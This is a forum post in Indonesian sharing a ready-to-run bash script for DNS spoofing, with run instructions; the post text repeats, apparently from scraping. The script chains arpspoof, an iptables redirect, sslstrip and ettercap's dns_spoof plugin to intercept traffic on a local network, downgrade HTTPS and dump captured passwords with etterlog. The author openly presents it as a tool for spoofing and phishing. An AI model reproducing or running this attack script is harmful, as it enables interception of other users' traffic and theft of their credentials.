06-13-2012, 03:33 PM
DNS Spoofing menggunakan Scripts .bash pada ettercap
------------------------------------------------------------------
Selamat siang teman-teman IBTeam....!!
B4 Maaf ya admin jika ane repost..., n' jika salah kamar harap di delete aj ya...
OK deh..begini saya nemu tool yg lumayan bagus buat aktifitas Spoffing, phising atau blallalalal ah... susah ane nyebut nya,.....
Tool ini berfungsi untuk DNS Spoffing dalam sebuah jaringan menggunakan script bash.....!!
fungsi DNS Spoffing sendiri adalah mengalihkan suatu website kepada alamat IP address yg kita tujukan..., misalnya IP addres kita sendiri...., Ok deh ga' usah basa basi lagi langsung aja KTP....., eh maksudnya TKP...
dns_spoof.bash
Copy n' simpan scripts di atas ke gedit atau semacamnya dengan format .bash (buat namanya terserah), lalu izinkan executablenya dengan cara klik kanan pada scripts property-permissions dan centrang allow executable...n' jalankan pada terminal dengan perintah :
dan ikuti peritah selanjutnya...
nih penampakan dari Lappy ane...
Sekian dulu ya... mudah-mudah bermanfaat bagi teman2 semua
source :
http://www.backtrack-linux.org/forums/sh...hp?t=28646
_____________________
Salam IBTeam.....!!!
------------------------------------------------------------------
Selamat siang teman-teman IBTeam....!!
B4 Maaf ya admin jika ane repost..., n' jika salah kamar harap di delete aj ya...
OK deh..begini saya nemu tool yg lumayan bagus buat aktifitas Spoffing, phising atau blallalalal ah... susah ane nyebut nya,.....
Tool ini berfungsi untuk DNS Spoffing dalam sebuah jaringan menggunakan script bash.....!!
fungsi DNS Spoffing sendiri adalah mengalihkan suatu website kepada alamat IP address yg kita tujukan..., misalnya IP addres kita sendiri...., Ok deh ga' usah basa basi lagi langsung aja KTP....., eh maksudnya TKP...
dns_spoof.bash
Code:
#!/bin/bash
echo -e "Please ensure \E[32m\033[1m'echo 1 > /proc/sys/net/ipv4/ip_forward'\E[37m\033[0m has been performed as root"
echo -e "If you plan to spoof change your IP in \E[32m\033[1m'/usr/share/ettercap/etter.dns'\E[37m\033[0m"
echo -n "Please enter the name of the folder that will be created with all the log files: "
read -e folder
echo -n "please enter the name of the log file: "
read -e file
echo -n "Please enter the router IP: "
read routerip
echo -n "Please enter interface name (eg: wlan0): "
read iface
echo -n "Would you like to dns spoof at this time? [y/n]"
read spoof
sudo mkdir /root/$folder
sudo xterm -geometry 75x15+1+300 -T "ARP Spoof" -e arpspoof -i $iface $routerip &
sleep 2
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 &
echo "Routed IP Tables"
sudo xterm -geometry 75x15+500+300 -T "SSL Strip" -e sslstrip -a -k -f &
echo "SSL Strip Launched successfully"
sleep 2
if [ "$spoof" = "n" ]; then
sudo xterm -geometry 75x15+1000+300 -T Ettercap -e ettercap -T -q -i $iface -l /root/$folder/$file -P autoadd
else
sudo xterm -geometry 75x15+1000+300 -T Ettercap -e ettercap -T -q -i $iface -P dns_spoof
fi
killall sslstrip
killall arpspoof
sudo etterlog -p -i /root/$folder/$file.eci
exit
Copy n' simpan scripts di atas ke gedit atau semacamnya dengan format .bash (buat namanya terserah), lalu izinkan executablenya dengan cara klik kanan pada scripts property-permissions dan centrang allow executable...n' jalankan pada terminal dengan perintah :
Code:
./[nama_script].bash
nih penampakan dari Lappy ane...
Sekian dulu ya... mudah-mudah bermanfaat bagi teman2 semua
source :
http://www.backtrack-linux.org/forums/sh...hp?t=28646
_____________________
Salam IBTeam.....!!!
root@bt:~# cat about_me
I'm just a linuxer....!!! ^_^
root@bt:~#
I'm just a linuxer....!!! ^_^
root@bt:~#